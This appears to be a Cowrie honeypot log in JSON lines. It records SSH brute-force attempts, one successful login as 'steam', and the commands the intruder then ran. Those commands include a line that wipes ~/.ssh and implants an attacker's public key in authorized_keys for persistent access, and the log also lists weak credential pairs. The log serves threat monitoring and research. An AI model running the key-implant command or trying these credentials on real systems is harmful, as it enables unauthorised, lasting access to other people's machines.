{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:19.957170Z","src_ip":"141.11.88.14","session":"10bd0c4bdd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:20.997411Z","src_ip":"141.11.88.14","session":"10bd0c4bdd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:22.160465Z","src_ip":"141.11.88.14","session":"10bd0c4bdd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":13986,"dst_ip":"10.17.0.5","dst_port":22,"session":"01f3d2e269e9","protocol":"ssh","message":"New connection: 141.11.88.14:13986 (10.17.0.5:22) [session: 01f3d2e269e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:26.955560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:27.028424Z","src_ip":"141.11.88.14","session":"01f3d2e269e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:27.112187Z","src_ip":"141.11.88.14","session":"01f3d2e269e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"d","message":"login attempt [d/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:27.836214Z","src_ip":"141.11.88.14","session":"01f3d2e269e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:28.992121Z","src_ip":"141.11.88.14","session":"01f3d2e269e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49530,"dst_ip":"10.17.0.5","dst_port":22,"session":"939e93d8aa85","protocol":"ssh","message":"New connection: 141.11.88.14:49530 (10.17.0.5:22) [session: 939e93d8aa85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:34.312431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:34.392017Z","src_ip":"141.11.88.14","session":"939e93d8aa85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:34.480050Z","src_ip":"141.11.88.14","session":"939e93d8aa85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:35.259124Z","src_ip":"141.11.88.14","session":"939e93d8aa85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:36.649871Z","src_ip":"141.11.88.14","session":"939e93d8aa85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56768,"dst_ip":"159.203.135.109","dst_port":23,"session":"33ecfd98ed47","protocol":"telnet","message":"New connection: 172.81.62.90:56768 (159.203.135.109:23) [session: 33ecfd98ed47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:39.419297Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22422,"dst_ip":"10.17.0.5","dst_port":22,"session":"9674e0161dd1","protocol":"ssh","message":"New connection: 141.11.88.14:22422 (10.17.0.5:22) [session: 9674e0161dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:42.115436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:42.182082Z","src_ip":"141.11.88.14","session":"9674e0161dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:42.751301Z","src_ip":"141.11.88.14","session":"9674e0161dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins123","message":"login attempt [jenkins/jenkins123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:43.363576Z","src_ip":"141.11.88.14","session":"9674e0161dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:44.503457Z","src_ip":"141.11.88.14","session":"9674e0161dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30010,"dst_ip":"10.17.0.5","dst_port":22,"session":"e230658aa0d6","protocol":"ssh","message":"New connection: 141.11.88.14:30010 (10.17.0.5:22) [session: e230658aa0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:49.158852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:49.190756Z","src_ip":"141.11.88.14","session":"e230658aa0d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:49.310225Z","src_ip":"141.11.88.14","session":"e230658aa0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123","message":"login attempt [bot/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:51.838451Z","src_ip":"141.11.88.14","session":"e230658aa0d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:53.287105Z","src_ip":"141.11.88.14","session":"e230658aa0d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":49298,"dst_ip":"10.17.0.5","dst_port":22,"session":"93dac4467556","protocol":"ssh","message":"New connection: 41.86.34.139:49298 (10.17.0.5:22) [session: 93dac4467556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:55.276414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:55.281535Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:55.504101Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam2023","message":"login attempt [steam/steam2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:56.371086Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:56.836605Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:56.839676Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:56.843740Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:57.263923Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:57.533342Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:57.536983Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:57.751756Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:57.754980Z","src_ip":"41.86.34.139","session":"93dac4467556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30050,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf53e10c620","protocol":"ssh","message":"New connection: 141.11.88.14:30050 (10.17.0.5:22) [session: 8cf53e10c620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:57.934863Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":49302,"dst_ip":"10.17.0.5","dst_port":22,"session":"b078d44323f7","protocol":"ssh","message":"New connection: 41.86.34.139:49302 (10.17.0.5:22) [session: b078d44323f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:57.956242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:57.961576Z","src_ip":"41.86.34.139","session":"b078d44323f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:58.169760Z","src_ip":"41.86.34.139","session":"b078d44323f7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:21:58.850121Z","src_ip":"141.11.88.14","session":"8cf53e10c620","protocol":"ssh"}
